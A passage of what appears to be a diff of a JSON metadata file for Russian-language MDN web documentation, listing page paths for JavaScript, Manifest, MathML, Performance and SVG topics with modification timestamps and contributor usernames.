- "byshik", - "AlekKras", - "angyvolin", - "artem328", - "goodwin64", - "tselishev-semen", - "dtretyakov", - "fscholz", - "teoli", - "karasiov" - ] - }, - "Web/JavaScript/Reference/Operators/Decrement": { - "modified": "2020-10-15T22:35:06.680Z", - "contributors": [ - "dikovinki" - ] - }, - "Web/JavaScript/Reference/Operators/Destructuring_assignment": { - "modified": "2019-03-18T20:41:31.882Z", - "contributors": [ - "zziger", - "Beliarh", - "InoY", - "kdex", - "shapkarin", - "he11b0rn", - "wa-Nadoo", - "e-omo", - "y.ivashchenko", - "SphinxKnight", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { - "modified": "2020-11-06T20:31:05.880Z", - "contributors": [ - "qwerty.wasd.dev", - "notacircle" - ] - }, - "Web/JavaScript/Reference/Operators/Object_initializer": { - "modified": "2020-03-12T19:46:20.455Z", - "contributors": [ - "EduardBedratyi", - "Nymph", - "severn101", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Operators/Operator_Precedence": { - "modified": "2020-06-21T17:36:11.552Z", - "contributors": [ - "Yialo", - "nakhodkiin", - "synth", - "Ihor92", - "BychekRU", - "Aleksej", - "fscholz", - "mcmimik", - "teoli", - "TotalAMD", - "hazestalker" - ] - }, - "Web/JavaScript/Reference/Operators/Optional_chaining": { - "modified": "2020-10-15T22:22:53.487Z", - "contributors": [ - "InoY", - "rookhive", - "Kassaila", - "Dimon24021993" - ] - }, - "Web/JavaScript/Reference/Operators/Property_Accessors": { - "modified": "2020-11-28T14:23:33.816Z", - "contributors": [ - "ialexi-bl", - "injashkin", - "sbadulin", - "karatheodory", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Operators/Spread_syntax": { - "modified": "2020-10-15T22:09:59.030Z", - "contributors": [ - "Next-Ra", - "khikmat1970", - "s0da", - "AliaksandrZahorski", - "svezr", - "Ostanioni", - "Acrom7", - "R-Oscar", - "DenisIgnatchenko", - "dev1am", - "ue4prog" - ] - }, - "Web/JavaScript/Reference/Operators/async_function": { - "modified": "2020-03-12T19:46:03.207Z", - "contributors": [ - "utlov", - "myscode", - "nakhodkiin", - "ahtohbi4" - ] - }, - "Web/JavaScript/Reference/Operators/await": { - "modified": "2020-03-12T19:46:19.108Z", - "contributors": [ - "Ignat", - "nakhodkiin", - "Vladimir-Vinogradov", - "matvey-b", - "XaveScor", - "redishko" - ] - }, - "Web/JavaScript/Reference/Operators/class": { - "modified": "2020-10-07T05:22:57.052Z", - "contributors": [ - "nikolasmelui", - "utlov", - "aliaksandr-s" - ] - }, - "Web/JavaScript/Reference/Operators/delete": { - "modified": "2020-03-12T19:38:01.140Z", - "contributors": [ - "tarasovAG", - "nurbek-ab", - "fscholz", - "teoli", - "nurbek.ab" - ] - }, - "Web/JavaScript/Reference/Operators/function": { - "modified": "2020-10-15T21:29:24.840Z", - "contributors": [ - "utlov", - "aleksandrpnshkn", - "severyanov", - "KTatyana", - "SphinxKnight", - "teoli", - "AlexyAV" - ] - }, - "Web/JavaScript/Reference/Operators/function*": { - "modified": "2020-03-12T19:43:34.797Z", - "contributors": [ - "utlov", - "KTatyana", - "nurbek-ab" - ] - }, - "Web/JavaScript/Reference/Operators/in": { - "modified": "2020-10-15T21:34:23.027Z", - "contributors": [ - "ekirpichyov", - "utlov", - "Nvisual", - "vitaliylag", - "Natalya_Surikova", - "Frenk1" - ] - }, - "Web/JavaScript/Reference/Operators/instanceof": { - "modified": "2020-10-15T21:42:40.346Z", - "contributors": [ - "iGanza429", - "dima74", - "vitaliylag", - "lenkasoft", - "c01nd01r", - "spmpl" - ] - }, - "Web/JavaScript/Reference/Operators/new": { - "modified": "2020-03-12T19:42:17.777Z", - "contributors": [ - "mikhail.makarov", - "msherstobitow", - "FlashbangSW", - "pk.prog", - "Guria", - "svarnoi420", - "mazhuravlev" - ] - }, - "Web/JavaScript/Reference/Operators/new.target": { - "modified": "2020-03-12T19:42:44.140Z", - "contributors": [ - "bakugod", - "vitaliylag", - "Isk1n", - "uleming" - ] - }, - "Web/JavaScript/Reference/Operators/super": { - "modified": "2020-11-02T05:32:18.854Z", - "contributors": [ - "ITheCorgi", - "almaceleste", - "boxa6", - "chuckis", - "YozhEzhi", - "Eugene", - "Renay", - "Axepuff", - "rinbik", - "quassnoi", - "sgrogov", - "adamgrey28", - "loki2d", - "spmpl", - "uleming" - ] - }, - "Web/JavaScript/Reference/Operators/this": { - "modified": "2020-10-15T21:34:17.291Z", - "contributors": [ - "almaceleste", - "dmarkin", - "HermesC", - "smlkA", - "JS_Johny", - "marinazareka", - "sbadulin", - "Stejok", - "aprostya", - "dChunikhin", - "DayFan", - "olegkarpovich", - "alexfromvl", - "Viktoria_Slesarchuk", - "eXukraine", - "AlexO", - "AliaksandrSith", - "AlexKhram", - "vovek", - "wertlex", - "Mary_Gorgol" - ] - }, - "Web/JavaScript/Reference/Operators/typeof": { - "modified": "2020-10-15T21:29:57.988Z", - "contributors": [ - "Bonerdelli", - "dima74", - "Sergey.Vdovareize", - "Ohar", - "SphinxKnight", - "teoli", - "kvantor" - ] - }, - "Web/JavaScript/Reference/Operators/void": { - "modified": "2020-03-12T19:40:33.655Z", - "contributors": [ - "artskar", - "hlomzik", - "AlexChuev" - ] - }, - "Web/JavaScript/Reference/Operators/yield": { - "modified": "2020-11-07T03:00:56.468Z", - "contributors": [ - "antonzahariev", - "ekirpichyov", - "YozhEzhi", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Operators/yield*": { - "modified": "2020-10-10T05:41:53.806Z", - "contributors": [ - "ialexi-bl", - "utlov", - "d4rkm3z" - ] - }, - "Web/JavaScript/Reference/Operators/Группировка": { - "modified": "2020-10-15T21:45:23.257Z", - "contributors": [ - "synth", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Operators/Конвейерный_оператор": { - "modified": "2020-10-15T22:07:33.663Z", - "contributors": [ - "nakhodkiin", - "ALegostaeva" - ] - }, - "Web/JavaScript/Reference/Operators/Логические_операторы": { - "modified": "2020-03-12T19:42:07.763Z", - "contributors": [ - "Coo1Cmd", - "BychekRU", - "Frenk1", - "alexbaumgertner", - "SergeyShpak" - ] - }, - "Web/JavaScript/Reference/Operators/Оператор_Запятая": { - "modified": "2020-10-15T21:21:15.661Z", - "contributors": [ - "synth", - "echelonka", - "OlegTar", - "cotolany", - "br3t", - "alnimu", - "Frenk1", - "fscholz", - "Ohar", - "teoli", - "nurbek.ab" - ] - }, - "Web/JavaScript/Reference/Operators/Операторы_сравнения": { - "modified": "2020-09-29T02:39:38.965Z", - "contributors": [ - "nikolasmelui", - "X7Becka", - "nakhodkiin", - "BychekRU", - "nbaksalyar", - "CatWhoCode" - ] - }, - "Web/JavaScript/Reference/Operators/Присваивание": { - "modified": "2020-10-15T22:33:39.549Z", - "contributors": [ - "kucherenkoag", - "DarkExodusXX" - ] - }, - "Web/JavaScript/Reference/Operators/Условный_оператор": { - "modified": "2020-09-05T16:58:34.995Z", - "contributors": [ - "ikzsl", - "NeoFSociety", - "lozzeal", - "DonRai", - "onatalie", - "SlavaJan", - "dmitrydanilich", - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Statements": { - "modified": "2020-03-12T19:38:08.960Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Mingun", - "trevorh" - ] - }, - "Web/JavaScript/Reference/Statements/Empty": { - "modified": "2020-04-12T07:22:12.597Z", - "contributors": [ - "arnoldovich", - "otj40", - "nakhodkiin", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Statements/async_function": { - "modified": "2020-10-15T21:52:51.275Z", - "contributors": [ - "AppleAlex", - "nikolai-shabalin", - "parusev", - "sazhnevdunice", - "mmameko", - "epodivilov", - "rsvato", - "glowlh", - "torbasow", - "nakhodkiin", - "BondarenkoAlex", - "tcheburator", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Statements/break": { - "modified": "2020-03-12T19:39:49.381Z", - "contributors": [ - "ConstantineZz", - "SphinxKnight", - "4eb0da" - ] - }, - "Web/JavaScript/Reference/Statements/class": { - "modified": "2020-10-07T05:30:01.345Z", - "contributors": [ - "nikolasmelui", - "torbasow", - "utlov", - "curdwithraisins" - ] - }, - "Web/JavaScript/Reference/Statements/const": { - "modified": "2020-10-15T21:30:33.647Z", - "contributors": [ - "DASenkiv", - "pepelsbey", - "pk.prog", - "torbasow", - "WispProxy", - "Grumvol", - "xfg", - "gibson", - "crvst", - "SphinxKnight", - "KiraAndMaxim" - ] - }, - "Web/JavaScript/Reference/Statements/continue": { - "modified": "2020-04-11T02:20:58.132Z", - "contributors": [ - "pefbrute", - "alextretyak", - "SphinxKnight", - "4eb0da" - ] - }, - "Web/JavaScript/Reference/Statements/debugger": { - "modified": "2020-03-12T19:45:32.750Z", - "contributors": [ - "Svetzayats", - "david-baghdasaryan", - "paratagas" - ] - }, - "Web/JavaScript/Reference/Statements/default": { - "modified": "2020-10-15T21:54:01.294Z", - "contributors": [ - "ekirpichyov", - "AntonPtitsyn" - ] - }, - "Web/JavaScript/Reference/Statements/do...while": { - "modified": "2020-10-15T21:50:00.301Z", - "contributors": [ - "Kilzar", - "ekirpichyov", - "102" - ] - }, - "Web/JavaScript/Reference/Statements/export": { - "modified": "2020-10-15T21:44:56.789Z", - "contributors": [ - "almaceleste", - "SphinxKnight", - "ravbetsky", - "Roman-Kosov", - "marat-curious", - "maksugr", - "HaffASE", - "Checkmatez", - "maxmind", - "M1rotvorez", - "sunsetninja", - "frodomogoni", - "jeneg" - ] - }, - "Web/JavaScript/Reference/Statements/for": { - "modified": "2020-03-12T19:40:21.266Z", - "contributors": [ - "farvater2", - "romankrru", - "BychekRU", - "ascheyloven" - ] - }, - "Web/JavaScript/Reference/Statements/for-await...of": { - "modified": "2020-10-15T22:21:30.706Z", - "contributors": [ - "imciflam" - ] - }, - "Web/JavaScript/Reference/Statements/for...in": { - "modified": "2020-03-12T19:42:44.128Z", - "contributors": [ - "camelos", - "Miracle93", - "olvin-hh", - "AliaksandrZahorski", - "Jarith", - "UriShlomov", - "a1ia5", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Statements/for...of": { - "modified": "2020-10-15T21:31:19.454Z", - "contributors": [ - "iacade", - "alx-khramov", - "rookhive", - "AliaksandrZahorski", - "becha", - "SphinxKnight", - "iomtt94", - "babichss", - "ZeroUnderscoreOu", - "BychekRU", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Statements/function": { - "modified": "2020-10-15T21:39:37.186Z", - "contributors": [ - "YozhEzhi", - "4rontender", - "KTatyana", - "forestbird", - "BychekRU" - ] - }, - "Web/JavaScript/Reference/Statements/function*": { - "modified": "2020-03-12T19:39:52.436Z", - "contributors": [ - "SphinxKnight", - "Sajag", - "mrOrlando", - "MaksymI", - "kdex", - "deman", - "MalkavianMax", - "BychekRU", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Statements/if...else": { - "modified": "2020-03-12T19:42:47.988Z", - "contributors": [ - "satansdeer", - "GraceAredel", - "alexbaumgertner", - "ultrinnan" - ] - }, - "Web/JavaScript/Reference/Statements/import": { - "modified": "2020-10-15T21:32:02.235Z", - "contributors": [ - "Akmatworld", - "almaceleste", - "flancer64", - "Yialo", - "SphinxKnight", - "ZzDmitry", - "Reinerok", - "InoY", - "pibodi", - "torbasow", - "Ingverd", - "papadima", - "bad4iz", - "nikolaifedorov", - "maxmind", - "standy", - "vvalgis", - "sutangu", - "kurzgame" - ] - }, - "Web/JavaScript/Reference/Statements/import.meta": { - "modified": "2020-10-15T22:22:14.576Z", - "contributors": [ - "Luanre" - ] - }, - "Web/JavaScript/Reference/Statements/label": { - "modified": "2020-10-15T21:30:43.430Z", - "contributors": [ - "ekirpichyov", - "SphinxKnight", - "4eb0da" - ] - }, - "Web/JavaScript/Reference/Statements/let": { - "modified": "2020-03-12T19:38:07.887Z", - "contributors": [ - "DASenkiv", - "skrikl", - "rinbik", - "avernikoz", - "Stejok", - "Kostandy", - "GaidaiAndrii", - "kdex", - "Yumeiro", - "WispProxy", - "titanium-iridium", - "andbas", - "iseeyou911", - "smichrissoft", - "stek29", - "Tvortsa", - "fscholz", - "teoli", - "nurbek.ab" - ] - }, - "Web/JavaScript/Reference/Statements/return": { - "modified": "2020-10-15T21:38:04.879Z", - "contributors": [ - "ekirpichyov", - "KTatyana", - "Biosneakers", - "BychekRU", - "janemel", - "The-Raven" - ] - }, - "Web/JavaScript/Reference/Statements/switch": { - "modified": "2020-10-15T21:31:26.209Z", - "contributors": [ - "almaceleste", - "alfill", - "Stejok", - "Natalya_Surikova", - "4eb0da" - ] - }, - "Web/JavaScript/Reference/Statements/throw": { - "modified": "2020-03-12T19:39:43.115Z", - "contributors": [ - "albrin", - "Roovwhite", - "ZavodPodushek", - "Natalya_Surikova", - "sergey.bakaev", - "SphinxKnight", - "hellboy81" - ] - }, - "Web/JavaScript/Reference/Statements/try...catch": { - "modified": "2020-05-24T09:50:11.525Z", - "contributors": [ - "ialexi-bl", - "smitt14ua", - "DeekHalden", - "YaroslavSelevanov", - "illya-s", - "x1unix", - "DavidWebb", - "nikitaermishin", - "NikitaCoder" - ] - }, - "Web/JavaScript/Reference/Statements/var": { - "modified": "2020-10-15T21:40:16.057Z", - "contributors": [ - "ekirpichyov", - "letulip", - "AlexKhram", - "shalimski", - "Saviloff" - ] - }, - "Web/JavaScript/Reference/Statements/while": { - "modified": "2020-03-12T19:44:53.115Z", - "contributors": [ - "KTatyana" - ] - }, - "Web/JavaScript/Reference/Statements/with": { - "modified": "2020-03-12T19:46:20.775Z", - "contributors": [ - "asv7780", - "superpuper32", - "Waleron96", - "animhotep" - ] - }, - "Web/JavaScript/Reference/Statements/Блок": { - "modified": "2020-03-14T08:00:39.543Z", - "contributors": [ - "rookhive", - "Aliq" - ] - }, - "Web/JavaScript/Reference/Strict_mode": { - "modified": "2020-03-12T19:37:59.459Z", - "contributors": [ - "almaceleste", - "Yialo", - "alexbs", - "coxdn", - "randomnf", - "ris58h", - "spixe37", - "Sheppy", - "karmagood", - "alexdarc", - "egor-sorokin", - "hatroman", - "Megabyteceer", - "dimitryony", - "WispProxy", - "Natalya_Surikova", - "compsphere", - "Grumvol", - "torbasow", - "fscholz", - "zlumyo", - "akudiyar", - "fvtsfedu", - "r00ger", - "egml", - "AntonBezrukov", - "uleming" - ] - }, - "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { - "modified": "2020-03-12T19:42:24.126Z", - "contributors": [ - "almaceleste", - "coxdn", - "nakhodkiin", - "akmil", - "tselishev-semen" - ] - }, - "Web/JavaScript/Reference/Trailing_commas": { - "modified": "2020-10-15T22:22:53.977Z", - "contributors": [ - "leshkin", - "ekirpichyov" - ] - }, - "Web/JavaScript/Reference/template_strings": { - "modified": "2020-10-15T21:31:19.424Z", - "contributors": [ - "DASenkiv", - "sahmildzhakeev", - "gendalf7771", - "vaallery", - "SphinxKnight", - "Barss07", - "AlexanderMikhnevich", - "cawa-93", - "dtretyakov" - ] - }, - "Web/JavaScript/Reference/Об": { - "modified": "2020-03-12T19:43:40.535Z", - "contributors": [ - "Sergey1" - ] - }, - "Web/JavaScript/Typed_arrays": { - "modified": "2020-03-12T19:45:54.627Z", - "contributors": [ - "shevchenko", - "Imperat", - "Bargamut", - "redishko", - "WispProxy", - "Anomeon", - "some_vlad", - "Megabyteceer" - ] - }, - "Web/JavaScript/О_JavaScript": { - "modified": "2020-03-12T19:40:51.750Z", - "contributors": [ - "BychekRU", - "IgorGilyazov" - ] - }, - "Web/Manifest": { - "modified": "2020-10-15T21:52:44.707Z", - "contributors": [ - "almaceleste", - "chrisdavidmills", - "bershanskiy", - "ZolotoArtem", - "Encamy", - "SergeyMirvoda", - "Eugeno", - "Katarzina", - "Kidsman", - "suncitygirl", - "curdwithraisins" - ] - }, - "Web/Manifest/background_color": { - "modified": "2020-10-15T22:28:08.267Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/categories": { - "modified": "2020-10-15T22:28:07.809Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/description": { - "modified": "2020-10-15T22:28:07.733Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/dir": { - "modified": "2020-10-15T22:28:08.586Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/display": { - "modified": "2020-10-15T22:28:07.850Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/iarc_rating_id": { - "modified": "2020-10-15T22:28:08.596Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/icons": { - "modified": "2020-10-15T22:28:09.358Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/lang": { - "modified": "2020-10-15T22:28:09.577Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/name": { - "modified": "2020-10-15T22:28:09.359Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/orientation": { - "modified": "2020-10-15T22:28:08.826Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/prefer_related_applications": { - "modified": "2020-10-15T22:28:08.735Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/related_applications": { - "modified": "2020-10-15T22:28:09.294Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/scope": { - "modified": "2020-10-15T22:28:09.050Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/screenshots": { - "modified": "2020-10-15T22:28:09.543Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/serviceworker": { - "modified": "2020-10-15T22:28:10.302Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/short_name": { - "modified": "2020-10-15T22:21:30.619Z", - "contributors": [ - "almaceleste", - "chrisdavidmills", - "bershanskiy" - ] - }, - "Web/Manifest/start_url": { - "modified": "2020-10-15T22:28:10.438Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/Manifest/theme_color": { - "modified": "2020-10-15T22:28:10.250Z", - "contributors": [ - "almaceleste", - "chrisdavidmills" - ] - }, - "Web/MathML": { - "modified": "2019-10-06T11:07:41.869Z", - "contributors": [ - "valtaranets", - "bsergey", - "fider", - "koska", - "joemix" - ] - }, - "Web/MathML/Authoring": { - "modified": "2019-03-23T22:08:43.986Z", - "contributors": [ - "bsergey", - "kimesik" - ] - }, - "Web/MathML/Element": { - "modified": "2019-03-23T23:02:16.227Z", - "contributors": [ - "bsergey", - "splewako" - ] - }, - "Web/MathML/Element/maction": { - "modified": "2020-10-15T22:14:19.571Z", - "contributors": [ - "bsergey" - ] - }, - "Web/MathML/Element/math": { - "modified": "2019-03-23T23:02:16.927Z", - "contributors": [ - "Sykoku" - ] - }, - "Web/MathML/Element/menclose": { - "modified": "2020-10-15T22:15:07.763Z", - "contributors": [ - "bsergey" - ] - }, - "Web/MathML/Element/merror": { - "modified": "2020-10-15T22:15:45.168Z", - "contributors": [ - "bsergey" - ] - }, - "Web/MathML/Element/mfenced": { - "modified": "2020-10-15T22:16:56.742Z", - "contributors": [ - "bsergey" - ] - }, - "Web/MathML/Element/mglyph": { - "modified": "2020-10-30T16:27:27.508Z", - "contributors": [ - "d0rj" - ] - }, - "Web/MathML/Element/mn": { - "modified": "2020-10-30T16:23:01.293Z", - "contributors": [ - "d0rj" - ] - }, - "Web/MathML/Element/mstyle": { - "modified": "2020-10-30T15:38:27.824Z", - "contributors": [ - "d0rj" - ] - }, - "Web/MathML/Примеры": { - "modified": "2020-11-23T14:28:54.743Z", - "contributors": [ - "d0rj", - "Mr_nektom", - "Neir" - ] - }, - "Web/MathML/Примеры/Deriving_the_Quadratic_Formula": { - "modified": "2019-03-18T21:18:54.194Z", - "contributors": [ - "bsergey" - ] - }, - "Web/MathML/Примеры/MathML_Pythagorean_Theorem": { - "modified": "2020-11-23T14:42:18.468Z", - "contributors": [ - "d0rj", - "bsergey", - "humantom88" - ] - }, - "Web/Media": { - "modified": "2020-02-16T05:07:41.773Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/Media/Formats": { - "modified": "2020-02-16T05:07:42.083Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/Media/Formats/WebRTC_кодеки": { - "modified": "2020-11-27T19:05:43.474Z", - "contributors": [ - "nikolaifedorov", - "mechtool" - ] - }, - "Web/Media/Formats/codecs_parameter": { - "modified": "2020-03-16T06:34:09.362Z", - "contributors": [ - "mechtool" - ] - }, - "Web/Performance": { - "modified": "2020-04-21T12:10:15.645Z", - "contributors": [ - "D.Lesnik", - "chrisdavidmills" - ] - }, - "Web/Performance/CSS_JavaScript_animation_performance": { - "modified": "2020-04-02T11:47:32.867Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Critical_rendering_path": { - "modified": "2020-03-30T19:35:11.484Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/How_browsers_work": { - "modified": "2020-12-07T17:11:39.900Z", - "contributors": [ - "SamTLT", - "vlad-vorontsov", - "D.Lesnik" - ] - }, - "Web/Performance/How_long_is_too_long": { - "modified": "2020-05-15T10:59:03.931Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Lazy_loading": { - "modified": "2020-05-23T10:12:03.445Z", - "contributors": [ - "mfranzke", - "D.Lesnik" - ] - }, - "Web/Performance/Navigation_and_resource_timings": { - "modified": "2020-04-02T11:43:41.543Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Optimizing_startup_performance": { - "modified": "2020-04-03T10:03:42.671Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Performance_budgets": { - "modified": "2020-04-06T12:41:24.362Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Rum-vs-Synthetic": { - "modified": "2020-04-17T19:39:30.304Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Understanding_latency": { - "modified": "2020-05-28T07:49:08.019Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/dns-prefetch": { - "modified": "2020-06-18T07:05:15.014Z", - "contributors": [ - "it4joy", - "D.Lesnik" - ] - }, - "Web/Performance/Основы": { - "modified": "2020-04-15T18:48:38.137Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Performance/Производительность_анимации": { - "modified": "2020-04-02T11:48:28.669Z", - "contributors": [ - "D.Lesnik" - ] - }, - "Web/Progressive_web_apps": { - "modified": "2019-04-20T03:25:44.859Z", - "contributors": [ - "webmaxru", - "chrisdavidmills", - "ruslan_g02" - ] - }, - "Web/Progressive_web_apps/Installable_PWAs": { - "modified": "2020-05-31T18:38:14.629Z", - "contributors": [ - "AlexandrKoliukh", - "chrisdavidmills", - "WhiteApfel" - ] - }, - "Web/Progressive_web_apps/Заметный": { - "modified": "2019-03-18T20:52:07.177Z", - "contributors": [ - "chrisdavidmills", - "ruslan_g02" - ] - }, - "Web/Reference": { - "modified": "2019-03-18T20:37:11.659Z", - "contributors": [ - "mmbl", - "Shychara", - "vostvesh", - "AlexLog", - "uri-uri222", - "slaykovsky", - "Nuzland" - ] - }, - "Web/Reference/API": { - "modified": "2019-03-23T23:10:40.925Z", - "contributors": [ - "olyaknyaz", - "filutkie", - "dimFora", - "BychekRU", - "varstt", - "uleming", - "AlexLog", - "eb-gh-cr", - "ARleKino", - "Tihoem", - "takto", - "bariys18" - ] - }, - "Web/SVG": { - "modified": "2019-11-01T15:48:17.103Z", - "contributors": [ - "hisbvdis", - "AdelNorberg", - "Solj", - "Roman-Kosov", - "warsan", - "dima74", - "AlexeyFedotof", - "romanalesenkov", - "sputnik1986", - "Mingun", - "Dyvik" - ] - }, - "Web/SVG/Applying_SVG_effects_to_HTML_content": { - "modified": "2019-04-10T04:51:15.356Z", - "contributors": [ - "warsan" - ] - }, - "Web/SVG/Attribute": { - "modified": "2019-03-23T23:20:13.909Z", - "contributors": [ - "Solj", - "Vasiliy.Poddubny", - "BychekRU", - "kscarfone" - ] - }, - "Web/SVG/Attribute/Core": { - "modified": "2020-10-15T22:34:58.576Z", - "contributors": [ - "osipov_s" - ] - }, - "Web/SVG/Attribute/additive": { - "modified": "2019-03-23T22:07:14.939Z", - "contributors": [ - "Solj", - "warsan", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/attributeName": { - "modified": "2019-09-17T04:44:27.460Z", - "contributors": [ - "ekirpichyov", - "Solj", - "warsan", - "theykillimmortal" - ] - }, - "Web/SVG/Attribute/attributeType": { - "modified": "2019-03-23T22:07:14.824Z", - "contributors": [ - "Solj", - "warsan", - "theykillimmortal", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/class": { - "modified": "2019-03-23T22:24:12.240Z", - "contributors": [ - "Vitaligo", - "dmitron1036" - ] - }, - "Web/SVG/Attribute/cx": { - "modified": "2019-03-18T21:39:26.378Z", - "contributors": [ - "Solj", - "AlexandrNikolaichev" - ] - }, - "Web/SVG/Attribute/cy": { - "modified": "2019-03-18T21:39:30.503Z", - "contributors": [ - "Solj", - "AlexandrNikolaichev" - ] - }, - "Web/SVG/Attribute/d": { - "modified": "2019-10-17T06:49:06.860Z", - "contributors": [ - "andruhovski", - "warsan", - "vKuka", - "annaSchugay" - ] - }, - "Web/SVG/Attribute/dur": { - "modified": "2020-10-15T21:56:33.845Z", - "contributors": [ - "ekirpichyov", - "Solj", - "theykillimmortal", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/end": { - "modified": "2019-03-23T22:07:08.160Z", - "contributors": [ - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/fill": { - "modified": "2019-03-28T08:38:38.419Z", - "contributors": [ - "boxa6", - "Solj", - "theykillimmortal", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/fill-opacity": { - "modified": "2019-03-23T22:46:24.495Z", - "contributors": [ - "Solj", - "Mikke" - ] - }, - "Web/SVG/Attribute/fill-rule": { - "modified": "2020-10-15T22:29:32.056Z", - "contributors": [ - "ellizii" - ] - }, - "Web/SVG/Attribute/font-weight": { - "modified": "2020-10-15T21:59:48.037Z", - "contributors": [ - "boxa6", - "kasperyan" - ] - }, - "Web/SVG/Attribute/id": { - "modified": "2020-10-24T12:47:37.053Z", - "contributors": [ - "osipov_s" - ] - }, - "Web/SVG/Attribute/keyTimes": { - "modified": "2019-05-03T20:37:52.946Z", - "contributors": [ - "DyominMV", - "zzzunyazz", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/lang": { - "modified": "2020-10-24T13:21:41.808Z", - "contributors": [ - "osipov_s" - ] - }, - "Web/SVG/Attribute/lengthAdjust": { - "modified": "2019-03-23T22:04:51.651Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Attribute/letter-spacing": { - "modified": "2019-03-23T22:09:36.832Z", - "contributors": [ - "missis-sippi", - "Solj", - "theykillimmortal", - "alex7852" - ] - }, - "Web/SVG/Attribute/lighting-color": { - "modified": "2019-03-23T22:04:44.084Z", - "contributors": [ - "Solj", - "theykillimmortal" - ] - }, - "Web/SVG/Attribute/onload": { - "modified": "2019-01-16T20:23:16.915Z", - "contributors": [ - "maxportnyagin" - ] - }, - "Web/SVG/Attribute/overflow": { - "modified": "2019-03-23T23:20:06.881Z", - "contributors": [ - "Solj", - "glizer", - "torbasow" - ] - }, - "Web/SVG/Attribute/patternContentUnits": { - "modified": "2019-03-23T22:06:23.667Z", - "contributors": [ - "artemzwinger" - ] - }, - "Web/SVG/Attribute/r": { - "modified": "2019-03-18T21:29:41.005Z", - "contributors": [ - "igor-khramko" - ] - }, - "Web/SVG/Attribute/repeatCount": { - "modified": "2019-03-23T22:24:33.265Z", - "contributors": [ - "Solj", - "VitaliiKotliar" - ] - }, - "Web/SVG/Attribute/rx": { - "modified": "2019-09-27T12:00:57.972Z", - "contributors": [ - "Solj" - ] - }, - "Web/SVG/Attribute/ry": { - "modified": "2019-09-27T12:42:00.928Z", - "contributors": [ - "Solj" - ] - }, - "Web/SVG/Attribute/shape-rendering": { - "modified": "2019-03-23T23:20:17.223Z", - "contributors": [ - "theykillimmortal", - "BaNru" - ] - }, - "Web/SVG/Attribute/stop-color": { - "modified": "2019-03-23T22:04:50.665Z", - "contributors": [ - "theykillimmortal" - ] - }, - "Web/SVG/Attribute/stroke": { - "modified": "2019-03-23T22:07:06.951Z", - "contributors": [ - "Solj", - "Vasiliy.Poddubny" - ] - }, - "Web/SVG/Attribute/stroke-dashoffset": { - "modified": "2019-10-13T18:23:50.855Z", - "contributors": [ - "warsan", - "Solj", - "maxnnn1900" - ] - }, - "Web/SVG/Attribute/stroke-linecap": { - "modified": "2020-10-15T22:14:34.059Z", - "contributors": [ - "warsan" - ] - }, - "Web/SVG/Attribute/stroke-width": { - "modified": "2019-03-23T22:01:11.603Z", - "contributors": [ - "Solj", - "Snikard" - ] - }, - "Web/SVG/Attribute/text-anchor": { - "modified": "2020-10-15T21:56:48.973Z", - "contributors": [ - "mencerz", - "warsan", - "leonrom", - "theykillimmortal" - ] - }, - "Web/SVG/Attribute/text-rendering": { - "modified": "2019-03-23T23:20:14.491Z", - "contributors": [ - "BaNru" - ] - }, - "Web/SVG/Attribute/transform": { - "modified": "2019-03-23T22:46:36.351Z", - "contributors": [ - "a1ip", - "Solj", - "Lexeii", - "antisergey", - "Aleksov" - ] - }, - "Web/SVG/Attribute/values": { - "modified": "2019-03-23T22:06:49.462Z", - "contributors": [ - 